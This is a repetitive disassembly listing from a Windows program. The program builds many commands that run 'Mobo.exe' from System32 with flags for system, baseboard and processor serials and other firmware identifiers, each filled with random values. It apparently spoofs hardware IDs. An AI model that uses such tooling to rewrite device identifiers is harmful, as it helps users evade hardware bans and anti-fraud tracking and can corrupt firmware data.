lea rcx, [rsp + 0x2dd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x2df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x2e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x2e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x2e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x2e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x2e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2e90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x2eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x2ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x2ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x2f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x2f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x2f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x2f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x2f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x2fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x2fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x2ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x3010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x3030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x3050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random___random___random_
lea rcx, [rsp + 0x3070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x3090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x30b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x30b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x30b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x30d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x30d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x30d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x30f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x30f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x30f0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x3110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x3130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x3150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x3170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x3190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x31b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x31b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x31b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x31d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x31d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x31d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x31f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x31f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x31f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x3210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x3230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x3250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x3270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x3290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x32b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x32b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x32b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
lea rcx, [rsp + 0x32d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x32d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x32d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x32f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x32f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x32f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x3310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x3330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x3350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x3370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x3390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x33b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x33b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x33b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x33d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x33d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x33d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x33f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x33f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x33f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x3410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x3430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x3450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x3470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x3490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x34b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x34b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x34b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x34d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x34d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x34d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x34f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x34f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x34f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x3510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x3530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x3550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x3570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x3590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x35b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x35b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x35b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x35d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x35d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x35d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x35f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x35f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x35f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x3610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random___random___random_
lea rcx, [rsp + 0x3630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x3650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x3670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x3690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x36b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x36b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x36b0]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x36d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x36d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x36d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random___random___random_
lea rcx, [rsp + 0x36f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x36f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x36f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random___random___random_
lea rcx, [rsp + 0x3710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random___random___random_
lea rcx, [rsp + 0x3730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random___random___random_
lea rcx, [rsp + 0x3750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random___random___random_
lea rcx, [rsp + 0x3770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random___random___random_
lea rcx, [rsp + 0x3790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random___random___random_
lea rcx, [rsp + 0x37b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x37b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x37b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random___random___random_
lea rcx, [rsp + 0x37d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x37d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x37d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random___random___random_
lea rcx, [rsp + 0x37f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x37f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x37f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random___random___random_
lea rcx, [rsp + 0x3810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random___random___random_
lea rcx, [rsp + 0x3830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random___random___random_
lea rcx, [rsp + 0x3850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random___random___random_
lea rcx, [rsp + 0x3870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random___random___random_
lea rcx, [rsp + 0x3890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random___random___random_
lea rcx, [rsp + 0x38b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x38b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x38b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random___random___random_
lea rcx, [rsp + 0x38d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x38d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x38d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random___random___random_
lea rcx, [rsp + 0x38f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x38f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x38f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random___random___random_
lea rcx, [rsp + 0x3910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random___random___random_
lea rcx, [rsp + 0x3930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random___random___random_
lea rcx, [rsp + 0x3950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x3970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x3990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x39b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x39b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x39b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x39d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x39d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x39d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x39f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x39f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x39f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x3a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x3a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x3a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x3a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3a70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random___random___random_
lea rcx, [rsp + 0x3a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random___random___random_
lea rcx, [rsp + 0x3ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3ab0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x3ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random___random___random_
lea rcx, [rsp + 0x3af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random___random___random_
lea rcx, [rsp + 0x3b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random___random___random_
lea rcx, [rsp + 0x3b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random___random___random_
lea rcx, [rsp + 0x3b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random___random___random_
lea rcx, [rsp + 0x3b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random___random___random_
lea rcx, [rsp + 0x3b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random___random___random_
lea rcx, [rsp + 0x3bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3bb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random___random___random_
lea rcx, [rsp + 0x3bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random___random___random_
lea rcx, [rsp + 0x3bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3bf0]
call fcn.14005d8e0
